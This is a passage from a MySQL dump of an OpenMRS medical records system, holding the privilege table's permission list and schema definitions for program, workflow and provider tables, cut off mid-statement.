item','f10e5734-23e9-48d3-a7ad-bcd6f0795200'),('Add HL7 Inbound Queue','Able to add an HL7 Queue item','71d44b24-8ecb-407c-8cc1-9a45b43d009a'),('Add HL7 Source','Able to add an HL7 Source','417dfd04-9313-4050-b554-81108f4e0748'),('Add Member','Ability to add members','ddffeabf-cc8b-422a-9877-98422975ece7'),('Add Observations','Able to add patient observations','91cf3b70-9c14-11e6-aeb3-0242ac110009'),('Add Orders','Able to add orders','91cf3c3e-9c14-11e6-aeb3-0242ac110009'),('Add Patient Identifiers','Able to add patient identifiers','91cf3d13-9c14-11e6-aeb3-0242ac110009'),('Add Patient Programs','Able to add patients to programs','91cf3de6-9c14-11e6-aeb3-0242ac110009'),('Add Patients','Able to add patients','91cf3eb7-9c14-11e6-aeb3-0242ac110009'),('Add People','Able to add person objects','91cf3f7f-9c14-11e6-aeb3-0242ac110009'),('Add Problems','Add problems','7f622e7a-1117-4774-9f13-f1d563d43961'),('Add Relationships','Able to add relationships','91cf4027-9c14-11e6-aeb3-0242ac110009'),('Add Report Objects','Able to add report objects','91cf40c5-9c14-11e6-aeb3-0242ac110009'),('Add Reports','Able to add reports','91cf415e-9c14-11e6-aeb3-0242ac110009'),('Add Team','Ability to add teams','38ef0552-4934-4cb0-a95a-45816a2a4de1'),('Add Users','Able to add users to OpenMRS','91cf41fd-9c14-11e6-aeb3-0242ac110009'),('Add Visits','Able to add visits','42323f2d-95de-47c6-88d5-35f80c23032e'),('Assign System Developer Role','Able to assign System Developer role','58c8acc4-2916-4cd2-8809-8bd7dda4b56d'),('Configure Visits','Able to choose encounter visit handler and enable/disable encounter visits','99beb2f6-fa40-448d-aeeb-c34a86214940'),('Delete Cohorts','Able to add a cohort to the system','91cf4297-9c14-11e6-aeb3-0242ac110009'),('Delete Concept Proposals','Able to delete concept proposals from the system','91cf4331-9c14-11e6-aeb3-0242ac110009'),('Delete Encounters','Able to delete patient encounters','91cf43dd-9c14-11e6-aeb3-0242ac110009'),('Delete HL7 Inbound Archive','Able to delete/retire an HL7 archive item','375155c8-a0ab-437d-9f70-8970f498f9cc'),('Delete HL7 Inbound Exception','Able to delete an HL7 archive item','ac691422-8cc0-42fb-a885-030cacdf1ab0'),('Delete HL7 Inbound Queue','Able to delete an HL7 Queue item','c0135f33-7a9d-4cd5-b258-ba7360b0c7ed'),('Delete Notes','Able to delete patient notes','9ab1dacd-8efe-4dc6-93bf-6fde094628f9'),('Delete Observations','Able to delete patient observations','91cf4476-9c14-11e6-aeb3-0242ac110009'),('Delete Orders','Able to delete orders','91cf450d-9c14-11e6-aeb3-0242ac110009'),('Delete Patient Identifiers','Able to delete patient identifiers','91cf45a8-9c14-11e6-aeb3-0242ac110009'),('Delete Patient Programs','Able to delete patients from programs','91cf4643-9c14-11e6-aeb3-0242ac110009'),('Delete Patients','Able to delete patients','91cf46da-9c14-11e6-aeb3-0242ac110009'),('Delete People','Able to delete objects','91cf4774-9c14-11e6-aeb3-0242ac110009'),('Delete Relationships','Able to delete relationships','91cf480f-9c14-11e6-aeb3-0242ac110009'),('Delete Report Objects','Able to delete report objects','91cf48a6-9c14-11e6-aeb3-0242ac110009'),('Delete Reports','Able to delete reports','91cf4943-9c14-11e6-aeb3-0242ac110009'),('Delete Users','Able to delete users in OpenMRS','91cf49db-9c14-11e6-aeb3-0242ac110009'),('Delete Visits','Able to delete visits','e826a7f2-4a32-4727-a966-3f0ea9c9ebcd'),('Edit Allergies','Able to edit allergies','662023d6-b151-4802-999a-92029cd6dc97'),('Edit Cohorts','Able to add a cohort to the system','91cf4a73-9c14-11e6-aeb3-0242ac110009'),('Edit Concept Proposals','Able to edit concept proposals in the system','91cf4b0f-9c14-11e6-aeb3-0242ac110009'),('Edit Encounters','Able to edit patient encounters','91cf4ba4-9c14-11e6-aeb3-0242ac110009'),('Edit Member','Ability to edit members','e5434bcc-5ad1-41fb-94f7-919a5406ac41'),('Edit Notes','Able to edit patient notes','ff9189d7-d64b-4012-a177-89a29206ccc5'),('Edit Observations','Able to edit patient observations','91cf4c3c-9c14-11e6-aeb3-0242ac110009'),('Edit Orders','Able to edit orders','91cf4cd1-9c14-11e6-aeb3-0242ac110009'),('Edit Patient Identifiers','Able to edit patient identifiers','91cf4d64-9c14-11e6-aeb3-0242ac110009'),('Edit Patient Programs','Able to edit patients in programs','91cf4dfb-9c14-11e6-aeb3-0242ac110009'),('Edit Patients','Able to edit patients','91cf4e92-9c14-11e6-aeb3-0242ac110009'),('Edit People','Able to edit person objects','91cf4fd0-9c14-11e6-aeb3-0242ac110009'),('Edit Problems','Able to edit problems','6d08ff8a-5b44-4fba-bb3c-ff4e7b81cf5a'),('Edit Relationships','Able to edit relationships','91cf5082-9c14-11e6-aeb3-0242ac110009'),('Edit Report Objects','Able to edit report objects','91cf5119-9c14-11e6-aeb3-0242ac110009'),('Edit Reports','Able to edit reports','91cf51b2-9c14-11e6-aeb3-0242ac110009'),('Edit Team','Ability to edit teams','b9f91c95-db25-4b92-81b5-a469f3be0565'),('Edit User Passwords','Able to change the passwords of users in OpenMRS','<PASSWORD>'),('Edit Users','Able to edit users in OpenMRS','91cf52e2-9c14-11e6-aeb3-0242ac110009'),('Edit Visits','Able to edit visits','48fb73d1-1ab3-4e78-b345-af0d07899f98'),('Form Entry','Allows user to access Form Entry pages/functions','91cf537b-9c14-11e6-aeb3-0242ac110009'),('Generate Batch of Identifiers','Allows user to generate a batch of identifiers to a file for offline use','47f3dce0-5fda-4ffe-b88a-8b544a558f63'),('Get Allergies','Able to get allergies','d05118c6-2490-4d78-a41a-390e3596a220'),('Get Care Settings','Able to get Care Settings','7edc305b-5b1d-4e71-bf3d-65262f967dac'),('Get Concept Classes','Able to get concept classes','d05118c6-2490-4d78-a41a-390e3596a238'),('Get Concept Datatypes','Able to get concept datatypes','d05118c6-2490-4d78-a41a-390e3596a237'),('Get Concept Map Types','Able to get concept map types','d05118c6-2490-4d78-a41a-390e3596a230'),('Get Concept Proposals','Able to get concept proposals to the system','d05118c6-2490-4d78-a41a-390e3596a250'),('Get Concept Reference Terms','Able to get concept reference terms','d05118c6-2490-4d78-a41a-390e3596a229'),('Get Concept Sources','Able to get concept sources','d05118c6-2490-4d78-a41a-390e3596a231'),('Get Concepts','Able to get concept entries','d05118c6-2490-4d78-a41a-390e3596a251'),('Get Database Changes','Able to get database changes from the admin screen','d05118c6-2490-4d78-a41a-390e3596a222'),('Get Encounter Roles','Able to get encounter roles','d05118c6-2490-4d78-a41a-390e3596a210'),('Get Encounter Types','Able to get encounter types','d05118c6-2490-4d78-a41a-390e3596a247'),('Get Encounters','Able to get patient encounters','d05118c6-2490-4d78-a41a-390e3596a248'),('Get Field Types','Able to get field types','d05118c6-2490-4d78-a41a-390e3596a234'),('Get Forms','Able to get forms','d05118c6-2490-4d78-a41a-390e3596a240'),('Get Global Properties','Able to get global properties on the administration screen','d05118c6-2490-4d78-a41a-390e3596a226'),('Get HL7 Inbound Archive','Able to get an HL7 archive item','d05118c6-2490-4d78-a41a-390e3596a217'),('Get HL7 Inbound Exception','Able to get an HL7 error item','d05118c6-2490-4d78-a41a-390e3596a216'),('Get HL7 Inbound Queue','Able to get an HL7 Queue item','d05118c6-2490-4d78-a41a-390e3596a218'),('Get HL7 Source','Able to get an HL7 Source','d05118c6-2490-4d78-a41a-390e3596a219'),('Get Identifier Types','Able to get patient identifier types','d05118c6-2490-4d78-a41a-390e3596a239'),('Get Location Attribute Types','Able to get location attribute types','d05118c6-2490-4d78-a41a-390e3596a212'),('Get Locations','Able to get locations','d05118c6-2490-4d78-a41a-390e3596a246'),('Get Notes','Able to get patient notes','5a968201-7540-47f1-a7f8-b8f0e1844f9c'),('Get Observations','Able to get patient observations','d05118c6-2490-4d78-a41a-390e3596a245'),('Get Order Frequencies','Able to get Order Frequencies','bda342fc-aeaf-435a-8679-522ce2d44aa2'),('Get Order Types','Able to get order types','d05118c6-2490-4d78-a41a-390e3596a233'),('Get Orders','Able to get orders','d05118c6-2490-4d78-a41a-390e3596a241'),('Get Patient Cohorts','Able to get patient cohorts','d05118c6-2490-4d78-a41a-390e3596a242'),('Get Patient Identifiers','Able to get patient identifiers','d05118c6-2490-4d78-a41a-390e3596a243'),('Get Patient Programs','Able to get which programs that patients are in','d05118c6-2490-4d78-a41a-390e3596a227'),('Get Patients','Able to get patients','d05118c6-2490-4d78-a41a-390e3596a244'),('Get People','Able to get person objects','d05118c6-2490-4d78-a41a-390e3596a224'),('Get Person Attribute Types','Able to get person attribute types','d05118c6-2490-4d78-a41a-390e3596a225'),('Get Privileges','Able to get user privileges','d05118c6-2490-4d78-a41a-390e3596a236'),('Get Problems','Able to get problems','d05118c6-2490-4d78-a41a-390e3596a221'),('Get Programs','Able to get patient programs','d05118c6-2490-4d78-a41a-390e3596a228'),('Get Providers','Able to get Providers','d05118c6-2490-4d78-a41a-390e3596a211'),('Get Relationship Types','Able to get relationship types','d05118c6-2490-4d78-a41a-390e3596a232'),('Get Relationships','Able to get relationships','d05118c6-2490-4d78-a41a-390e3596a223'),('Get Roles','Able to get user roles','d05118c6-2490-4d78-a41a-390e3596a235'),('Get Users','Able to get users in OpenMRS','d05118c6-2490-4d78-a41a-390e3596a249'),('Get Visit Attribute Types','Able to get visit attribute types','d05118c6-2490-4d78-a41a-390e3596a213'),('Get Visit Types','Able to get visit types','d05118c6-2490-4d78-a41a-390e3596a215'),('Get Visits','Able to get visits','d05118c6-2490-4d78-a41a-390e3596a214'),('Manage Address Templates','Able to add/edit/delete address templates','c3d227fa-0f84-41a8-b5b0-2a57baf73640'),('Manage Alerts','Able to add/edit/delete user alerts','91cf5410-9c14-11e6-aeb3-0242ac110009'),('Manage Auto Generation Options','Allows user add, edit, and remove auto-generation options','9bb2c102-0c99-49c3-80cf-f9df7294abdb'),('Manage Cohort Definitions','Add/Edit/Remove Cohort Definitions','efcedbf6-3a0e-4ee0-86af-4b36ca86c000'),('Manage Concept Classes','Able to add/edit/retire concept classes','91cf54a9-9c14-11e6-aeb3-0242ac110009'),('Manage Concept Datatypes','Able to add/edit/retire concept datatypes','91cf5541-9c14-11e6-aeb3-0242ac110009'),('Manage Concept Map Types','Able to add/edit/retire concept map types','007aace0-12b1-4e9f-ac88-67290b79f09e'),('Manage Concept Name tags','Able to add/edit/delete concept name tags','5e775ee9-e05e-4142-b943-c196caadb2cc'),('Manage Concept Reference Terms','Able to add/edit/retire reference terms','751586e7-1dcf-4dd0-9e89-ebfbea7c309c'),('Manage Concept Sources','Able to add/edit/delete concept sources','91cf55dc-9c14-11e6-aeb3-0242ac110009'),('Manage Concept Stop Words','Able to view/add/remove the concept stop words','ada0c38a-b7a2-4829-b55a-8bf72d369c65'),('Manage Concepts','Able to add/edit/delete concept entries','91cf5678-9c14-11e6-aeb3-0242ac110009'),('Manage Data Set Definitions','Add/Edit/Remove Data Set Definitions','aedc2f28-536f-4142-94a0-c124035abcef'),('Manage Dhisreport','Allows user to manage Dhisreport','dfc14f47-5855-43f8-bc86-6ce0caf3cc98'),('Manage Dimension Definitions','Add/Edit/Remove Dimension Definitions','1a1ec1d9-4781-4ec4-a7ac-cd680dc8c908'),('Manage Encounter Roles','Able to add/edit/retire encounter roles','915b29db-0fa2-495f-b197-b80d69728f44'),('Manage Encounter Types','Able to add/edit/delete encounter types','91cf570f-9c14-11e6-aeb3-0242ac110009'),('Manage Field Types','Able to add/edit/retire field types','91cf57a5-9c14-11e6-aeb3-0242ac110009'),('Manage FormEntry XSN','Allows user to upload and edit the xsns stored on the server','91cf583c-9c14-11e6-aeb3-0242ac110009'),('Manage Forms','Able to add/edit/delete forms','91cf58d9-9c14-11e6-aeb3-0242ac110009'),('Manage Global Properties','Able to add/edit global properties','91cf5972-9c14-11e6-aeb3-0242ac110009'),('Manage HL7 Messages','Able to add/edit/delete HL7 messages','7e55091f-d0f2-43a8-b62f-53d6fb1b837f'),('Manage Identifier Sequence','Allows user to update Identifier sequence','0fa7c0d5-8c1c-4c78-90b3-6c3b36a6ff2f'),('Manage Identifier Sources','Allows user add, edit, and remove identifier sources','b8dd2946-6cb9-4ba1-b4f3-c272c7b89aea'),('Manage Identifier Types','Able to add/edit/delete patient identifier types','91cf5a0a-9c14-11e6-aeb3-0242ac110009'),('Manage Implementation Id','Able to view/add/edit the implementation id for the system','28464f7f-1df9-43f3-ab0a-09fce67118a7'),('Manage Indicator Definitions','Add/Edit/Remove Indicator Definitions','54813672-9b94-4700-b178-3c5902cd54b5'),('Manage Location Attribute Types','Able to add/edit/retire location attribute types','54a7a8c8-2dde-45b2-a796-41fd5a30c21d'),('Manage Location Tags','Able to add/edit/delete location tags','96fc18de-d25b-45f4-adf4-2b14b179a476'),('Manage Locations','Able to add/edit/delete locations','91cf5aa1-9c14-11e6-aeb3-0242ac110009'),('Manage Modules','Able to add/remove modules to the system','91cf5b37-9c14-11e6-aeb3-0242ac110009'),('Manage Order Frequencies','Able to add/edit/retire Order Frequencies','9bb3fe35-0fe8-4714-b9d1-1bd80b5b922a'),('Manage Order Types','Able to add/edit/retire order types','91cf5c49-9c14-11e6-aeb3-0242ac110009'),('Manage Person Attribute Types','Able to add/edit/delete person attribute types','91cf5ce3-9c14-11e6-aeb3-0242ac110009'),('Manage Privileges','Able to add/edit/delete privileges','91cf5d80-9c14-11e6-aeb3-0242ac110009'),('Manage Programs','Able to add/view/delete patient programs','91cf5e14-9c14-11e6-aeb3-0242ac110009'),('Manage Providers','Able to edit Provider','16a60238-f3b4-48fd-8987-ed6e6eef7772'),('Manage Relationship Types','Able to add/edit/retire relationship types','91cf5eaa-9c14-11e6-aeb3-0242ac110009'),('Manage Relationships','Able to add/edit/delete relationships','91cf5f45-9c14-11e6-aeb3-0242ac110009'),('Manage Report Definitions','Add/Edit/Remove Report Definitions','87ad631b-1417-47e2-b649-fa59c480f8fa'),('Manage Report Designs','Add/Edit/Remove Report Designs','fd8f5b30-d645-4fc7-95bf-1a39645e35b0'),('Manage Reports','Base privilege for add/edit/delete reporting definitions. This gives access to the administrative menus, but you need to grant additional privileges to manage each specific type of reporting definition','bbea4ea0-1bc7-446d-9174-05dadfa1228d'),('Manage RESTWS','Allows to configure RESTWS module','d7e02250-3d00-47ec-a4a6-5677abc342e9'),('Manage Roles','Able to add/edit/delete user roles','91cf603a-9c14-11e6-aeb3-0242ac110009'),('Manage Scheduled Report Tasks','Manage Task Scheduling in Reporting Module','753a7223-72b8-4173-8b39-a5cfd1527703'),('Manage Scheduler','Able to add/edit/remove scheduled tasks','91cf614f-9c14-11e6-aeb3-0242ac110009'),('Manage Search Index','Able to manage the search index','20b3a906-81aa-4165-b475-24262a7c120f'),('Manage Synchronization','Enables one to do administrative duties for the synchronization module','1370b98e-5342-4ce7-ae95-fa0ecdb4b973'),('Manage Token Registrations','Allows to create/update/delete token registrations','<PASSWORD>'),('Manage Visit Attribute Types','Able to add/edit/retire visit attribute types','bb3a1ece-7886-4292-83bc-9c1bd51474c0'),('Manage Visit Types','Able to add/edit/delete visit types','27cd01b5-1f63-484e-b43f-cb015092a277'),('Patient Dashboard - View Demographics Section','Able to view the \'Demographics\' tab on the patient dashboard','91cf626b-9c14-11e6-aeb3-0242ac110009'),('Patient Dashboard - View Encounters Section','Able to view the \'Encounters\' tab on the patient dashboard','91cf63a6-9c14-11e6-aeb3-0242ac110009'),('Patient Dashboard - View Forms Section','Allows user to view the Forms tab on the patient dashboard','91cf64e2-9c14-11e6-aeb3-0242ac110009'),('Patient Dashboard - View Graphs Section','Able to view the \'Graphs\' tab on the patient dashboard','91cf6616-9c14-11e6-aeb3-0242ac110009'),('Patient Dashboard - View Overview Section','Able to view the \'Overview\' tab on the patient dashboard','91cf673e-9c14-11e6-aeb3-0242ac110009'),('Patient Dashboard - View Patient Summary','Able to view the \'Summary\' tab on the patient dashboard','91cf6813-9c14-11e6-aeb3-0242ac110009'),('Patient Dashboard - View Regimen Section','Able to view the \'Regimen\' tab on the patient dashboard','91cf68b7-9c14-11e6-aeb3-0242ac110009'),('Patient Dashboard - View Visits Section','Able to view the \'Visits\' tab on the patient dashboard','236f7448-edfe-42c1-b51b-946c6cf0aa3a'),('Patient Overview - View Allergies','Able to view the Allergies portlet on the patient overview tab','d05118c6-2490-4d78-a41a-390e3596a261'),('Patient Overview - View Patient Actions','Able to view the Patient Actions portlet on the patient overview tab','d05118c6-2490-4d78-a41a-390e3596a264'),('Patient Overview - View Patient Flags','Able to view the \'Patient Flags\' portlet on the patient dashboard\'s overview tab','453ac6f3-c763-43c9-9895-f0b90d450cf9'),('Patient Overview - View Problem List','Able to view the Problem List portlet on the patient overview tab','d05118c6-2490-4d78-a41a-390e3596a260'),('Patient Overview - View Programs','Able to view the Programs portlet on the patient overview tab','d05118c6-2490-4d78-a41a-390e3596a263'),('Patient Overview - View Relationships','Able to view the Relationships portlet on the patient overview tab','d05118c6-2490-4d78-a41a-390e3596a262'),('Purge Field Types','Able to purge field types','91cf699f-9c14-11e6-aeb3-0242ac110009'),('Remove Allergies','Remove allergies','53ea6ea5-9175-4ed9-9597-64e175aa5cae'),('Remove Problems','Remove problems','4dc8e767-f10b-4048-9f46-ededd43d2451'),('Run Reports','Schedule the running of a report','3acb288f-4f91-447e-b6fd-812422080822'),('Update HL7 Inbound Archive','Able to update an HL7 archive item','3be3aaae-1a8d-4356-a098-e79e071ab02a'),('Update HL7 Inbound Exception','Able to update an HL7 archive item','ebaec5de-9d66-47ff-b65e-f5bec3306ed7'),('Update HL7 Inbound Queue','Able to update an HL7 Queue item','c536ef4d-0667-489f-a9e4-da468bb946f3'),('Update HL7 Source','Able to update an HL7 Source','402d5dda-1ae5-4e6f-80fe-6cae7e8a0cfe'),('Upload Batch of Identifiers','Allows user to upload a batch of identifiers','7a02bbe6-d28c-44e5-85e8-fb3d8c8bbe64'),('Upload XSN','Allows user to upload/overwrite the XSNs defined for forms','91cf6abf-9c14-11e6-aeb3-0242ac110009'),('View Administration Functions','Able to view the \'Administration\' link in the navigation bar','91cf6be4-9c14-11e6-aeb3-0242ac110009'),('View Allergies','Able to view allergies in OpenMRS','91cf6cf7-9c14-11e6-aeb3-0242ac110009'),('View Calculations','Allows to view Calculations','c451fd2c-6cb4-48ba-970d-b075ae1bb0f8'),('View Concept Classes','Able to view concept classes','91cf7171-9c14-11e6-aeb3-0242ac110009'),('View Concept Datatypes','Able to view concept datatypes','91cf723b-9c14-11e6-aeb3-0242ac110009'),('View Concept Proposals','Able to view concept proposals to the system','91cf72d4-9c14-11e6-aeb3-0242ac110009'),('View Concept Sources','Able to view concept sources','91cf7367-9c14-11e6-aeb3-0242ac110009'),('View Concepts','Able to view concept entries','91cf73fb-9c14-11e6-aeb3-0242ac110009'),('View Data Entry Statistics','Able to view data entry statistics from the admin screen','91cf7492-9c14-11e6-aeb3-0242ac110009'),('View Dhisreport','Allows user to view Dhisreport','229a1c1f-22da-4b61-9b06-9b059f75ca25'),('View Encounter Types','Able to view encounter types','91cf752c-9c14-11e6-aeb3-0242ac110009'),('View Encounters','Able to view patient encounters','91cf75bf-9c14-11e6-aeb3-0242ac110009'),('View Field Types','Able to view field types','91cf7654-9c14-11e6-aeb3-0242ac110009'),('View Forms','Able to view forms','91cf76e8-9c14-11e6-aeb3-0242ac110009'),('View Global Properties','Able to view global properties on the administration screen','91cf7780-9c14-11e6-aeb3-0242ac110009'),('View Identifier Types','Able to view patient identifier types','91cf7818-9c14-11e6-aeb3-0242ac110009'),('View Locations','Able to view locations','91cf78b0-9c14-11e6-aeb3-0242ac110009'),('View Member','Ability to view members','50c5e7f6-bf70-438b-a11c-6d88e1d204c4'),('View Navigation Menu','Ability to see the navigation menu','91cf7942-9c14-11e6-aeb3-0242ac110009'),('View Observations','Able to view patient observations','91cf79d6-9c14-11e6-aeb3-0242ac110009'),('View Order Types','Able to view order types','91cf7a69-9c14-11e6-aeb3-0242ac110009'),('View Orders','Able to view orders','91cf7afc-9c14-11e6-aeb3-0242ac110009'),('View Patient Cohorts','Able to view patient cohorts','91cf7b90-9c14-11e6-aeb3-0242ac110009'),('View Patient Identifiers','Able to view patient identifiers','91cf7c24-9c14-11e6-aeb3-0242ac110009'),('View Patient Programs','Able to see which programs that patients are in','91cf7cb9-9c14-11e6-aeb3-0242ac110009'),('View Patients','Able to view patients','91cf7d4f-9c14-11e6-aeb3-0242ac110009'),('View People','Able to view person objects','91cf7de3-9c14-11e6-aeb3-0242ac110009'),('View Person Attribute Types','Able to view person attribute types','91cf7e78-9c14-11e6-aeb3-0242ac110009'),('View Privileges','Able to view user privileges','91cf7f0c-9c14-11e6-aeb3-0242ac110009'),('View Problems','Able to view problems in OpenMRS','91cf7fa0-9c14-11e6-aeb3-0242ac110009'),('View Programs','Able to view patient programs','91cf8034-9c14-11e6-aeb3-0242ac110009'),('View Relationship Types','Able to view relationship types','91cf80c5-9c14-11e6-aeb3-0242ac110009'),('View Relationships','Able to view relationships','91cf815a-9c14-11e6-aeb3-0242ac110009'),('View Report Objects','Able to view report objects','91cf831d-9c14-11e6-aeb3-0242ac110009'),('View Reports','Able to view reports','91cf83cc-9c14-11e6-aeb3-0242ac110009'),('View RESTWS','Gives access to RESTWS in administration','9b21dbdb-3521-4c3f-815a-97f78b9d0a4c'),('View Roles','Able to view user roles','91cf8464-9c14-11e6-aeb3-0242ac110009'),('View Synchronization Records','Enables one to see the synchronization record data','44d4427f-5ef1-47e2-921f-5f4479817335'),('View Synchronization Status','Enables one to see the status of the synchronization process','e44530dd-a7e7-4566-bae2-fd8c42786f6c'),('View Team','Ability to view teams','cfbea976-26b6-4b7e-8406-65a8e5c506e2'),('View Token Registrations','Allows to view token registrations','<PASSWORD>'),('View Unpublished Forms','Able to view and fill out unpublished forms','91cf84fe-9c14-11e6-aeb3-0242ac110009'),('View Users','Able to view users in OpenMRS','91cf8598-9c14-11e6-aeb3-0242ac110009'); /*!40000 ALTER TABLE `privilege` ENABLE KEYS */; UNLOCK TABLES; -- -- Table structure for table `program` -- DROP TABLE IF EXISTS `program`; /*!40101 SET @saved_cs_client = @@character_set_client */; /*!40101 SET character_set_client = utf8 */; CREATE TABLE `program` ( `program_id` int(11) NOT NULL AUTO_INCREMENT, `concept_id` int(11) NOT NULL DEFAULT '0', `outcomes_concept_id` int(11) DEFAULT NULL, `creator` int(11) NOT NULL DEFAULT '0', `date_created` datetime NOT NULL, `changed_by` int(11) DEFAULT NULL, `date_changed` datetime DEFAULT NULL, `retired` tinyint(1) NOT NULL DEFAULT '0', `name` varchar(50) NOT NULL, `description` text, `uuid` char(38) DEFAULT NULL, PRIMARY KEY (`program_id`), UNIQUE KEY `program_uuid_index` (`uuid`), KEY `user_who_changed_program` (`changed_by`), KEY `program_concept` (`concept_id`), KEY `program_creator` (`creator`), KEY `program_outcomes_concept_id_fk` (`outcomes_concept_id`), CONSTRAINT `program_concept` FOREIGN KEY (`concept_id`) REFERENCES `concept` (`concept_id`), CONSTRAINT `program_creator` FOREIGN KEY (`creator`) REFERENCES `users` (`user_id`), CONSTRAINT `program_outcomes_concept_id_fk` FOREIGN KEY (`outcomes_concept_id`) REFERENCES `concept` (`concept_id`), CONSTRAINT `user_who_changed_program` FOREIGN KEY (`changed_by`) REFERENCES `users` (`user_id`) ) ENGINE=InnoDB DEFAULT CHARSET=latin1; /*!40101 SET character_set_client = @saved_cs_client */; -- -- Dumping data for table `program` -- LOCK TABLES `program` WRITE; /*!40000 ALTER TABLE `program` DISABLE KEYS */; /*!40000 ALTER TABLE `program` ENABLE KEYS */; UNLOCK TABLES; -- -- Table structure for table `program_workflow` -- DROP TABLE IF EXISTS `program_workflow`; /*!40101 SET @saved_cs_client = @@character_set_client */; /*!40101 SET character_set_client = utf8 */; CREATE TABLE `program_workflow` ( `program_workflow_id` int(11) NOT NULL AUTO_INCREMENT, `program_id` int(11) NOT NULL DEFAULT '0', `concept_id` int(11) NOT NULL DEFAULT '0', `creator` int(11) NOT NULL DEFAULT '0', `date_created` datetime NOT NULL, `retired` tinyint(1) NOT NULL DEFAULT '0', `changed_by` int(11) DEFAULT NULL, `date_changed` datetime DEFAULT NULL, `uuid` char(38) DEFAULT NULL, PRIMARY KEY (`program_workflow_id`), UNIQUE KEY `program_workflow_uuid_index` (`uuid`), KEY `workflow_changed_by` (`changed_by`), KEY `workflow_concept` (`concept_id`), KEY `workflow_creator` (`creator`), KEY `program_for_workflow` (`program_id`), CONSTRAINT `program_for_workflow` FOREIGN KEY (`program_id`) REFERENCES `program` (`program_id`), CONSTRAINT `workflow_changed_by` FOREIGN KEY (`changed_by`) REFERENCES `users` (`user_id`), CONSTRAINT `workflow_concept` FOREIGN KEY (`concept_id`) REFERENCES `concept` (`concept_id`), CONSTRAINT `workflow_creator` FOREIGN KEY (`creator`) REFERENCES `users` (`user_id`) ) ENGINE=InnoDB DEFAULT CHARSET=latin1; /*!40101 SET character_set_client = @saved_cs_client */; -- -- Dumping data for table `program_workflow` -- LOCK TABLES `program_workflow` WRITE; /*!40000 ALTER TABLE `program_workflow` DISABLE KEYS */; /*!40000 ALTER TABLE `program_workflow` ENABLE KEYS */; UNLOCK TABLES; -- -- Table structure for table `program_workflow_state` -- DROP TABLE IF EXISTS `program_workflow_state`; /*!40101 SET @saved_cs_client = @@character_set_client */; /*!40101 SET character_set_client = utf8 */; CREATE TABLE `program_workflow_state` ( `program_workflow_state_id` int(11) NOT NULL AUTO_INCREMENT, `program_workflow_id` int(11) NOT NULL DEFAULT '0', `concept_id` int(11) NOT NULL DEFAULT '0', `initial` tinyint(1) NOT NULL DEFAULT '0', `terminal` tinyint(1) NOT NULL DEFAULT '0', `creator` int(11) NOT NULL DEFAULT '0', `date_created` datetime NOT NULL, `retired` tinyint(1) NOT NULL DEFAULT '0', `changed_by` int(11) DEFAULT NULL, `date_changed` datetime DEFAULT NULL, `uuid` char(38) DEFAULT NULL, PRIMARY KEY (`program_workflow_state_id`), UNIQUE KEY `program_workflow_state_uuid_index` (`uuid`), KEY `state_changed_by` (`changed_by`), KEY `state_concept` (`concept_id`), KEY `state_creator` (`creator`), KEY `workflow_for_state` (`program_workflow_id`), CONSTRAINT `state_changed_by` FOREIGN KEY (`changed_by`) REFERENCES `users` (`user_id`), CONSTRAINT `state_concept` FOREIGN KEY (`concept_id`) REFERENCES `concept` (`concept_id`), CONSTRAINT `state_creator` FOREIGN KEY (`creator`) REFERENCES `users` (`user_id`), CONSTRAINT `workflow_for_state` FOREIGN KEY (`program_workflow_id`) REFERENCES `program_workflow` (`program_workflow_id`) ) ENGINE=InnoDB DEFAULT CHARSET=latin1; /*!40101 SET character_set_client = @saved_cs_client */; -- -- Dumping data for table `program_workflow_state` -- LOCK TABLES `program_workflow_state` WRITE; /*!40000 ALTER TABLE `program_workflow_state` DISABLE KEYS */; /*!40000 ALTER TABLE `program_workflow_state` ENABLE KEYS */; UNLOCK TABLES; -- -- Table structure for table `provider` -- DROP TABLE IF EXISTS `provider`; /*!40101 SET @saved_cs_client = @@character_set_client */; /*!40101 SET character_set_client = utf8 */; CREATE TABLE `provider` ( `provider_id` int(11) NOT NULL AUTO_INCREMENT, `person_id` int(11) DEFAULT NULL, `name` varchar(255) DEFAULT NULL, `identifier` varchar(255) DEFAULT NULL, `creator` int(11) NOT NULL, `date_created` datetime NOT NULL, `changed_by` int(11) DEFAULT NULL, `date_changed` datetime DEFAULT NULL, `retired` tinyint(1) NOT NULL DEFAULT '0', `retired_by` int(11) DEFAULT NULL, `date_retired` datetime DEFAULT NULL, `retire_reason` varchar(255) DEFAULT NULL, `uuid` char(38) NOT NULL, PRIMARY KEY (`provider_id`), UNIQUE KEY `uuid` (`uuid`), KEY `provider_changed_by_fk` (`changed_by`), KEY `provider_person_id_fk` (`person_id`), KEY `provider_retired_by_fk` (`retired_by`), KEY `provider_creator_fk` (`creator`), CONSTRAINT `provider_changed_by_fk` FOREIGN KEY (`changed_by`) REFERENCES `users` (`user_id`), CONSTRAINT `provider_creator_fk` FOREIGN KEY (`creator`) REFERENCES `users` (`user_id`), CONSTRAINT `provider_person_id_fk` FOREIGN KEY (`person_id`) REFERENCES `person` (`person_id`), CONSTRAINT `provider_retired_by_fk` FOREIGN KEY (`retired_by`) REFERENCES `users` (`user_id`) ) ENGINE=InnoDB DEFAULT CHARSET=latin1; /*!40101 SET character_set_client = @saved_cs_client */; -- -- Dumping data for table `provider` -- LOCK TABLES `provider` WRITE; /*!40000 ALTER TABLE `provider` DISABLE KEYS */; /*!40000 ALTER TABLE `provider` ENABLE KEYS */; UNLOCK TABLES; -- -- Table structure for table `provider_attribute` -- DROP TABLE IF EXISTS `provider_attribute`; /*!40101 SET @saved_cs_client = @@character_set_client */; /*!40101 SET character_set_client = utf8 */; CREATE TABLE `provider_attribute` ( `provider_attribute_id` int(11) NOT NULL AUTO_INCREMENT, `provider_id` int(11) NOT NULL, `attribute_type_id` int(11) NOT NULL, `value_reference` text NOT NULL, `uuid` char(38) NOT NULL, `creator` int(11) NOT NULL, `date_created` datetime NOT NULL, `changed_by` int(11) DEFAULT NULL, `date_changed` datetime DEFAULT NULL, `voided` tinyint(1) NOT NULL DEFAULT '0', `voided_by` int(11) DEFAULT NULL, `date_voided` datetime DEFAULT NULL, `void_reason` varchar(255) DEFAULT NULL, PRIMARY KEY (`provider_attribute_id`), UNIQUE KEY `uuid` (`uuid`), KEY `provider_attribute_provider_fk` (`provider_id`), KEY `provider_attribute_attribute_type_id_fk` (`attribute_type_id`), KEY `provider_attribute_creator_fk` (`creator`), KEY `provider_attribute_changed_by_fk` (`changed_by`), KEY `provider_attribute_voided_by_fk` (`voided_by`), CONSTRAINT `provider_attribute_attribute_type_id_fk` FOREIGN KEY (`attribute_type_id`) REFERENCES `provider_attribute_type` (`provider_attribute_type_id`), CONSTRAINT 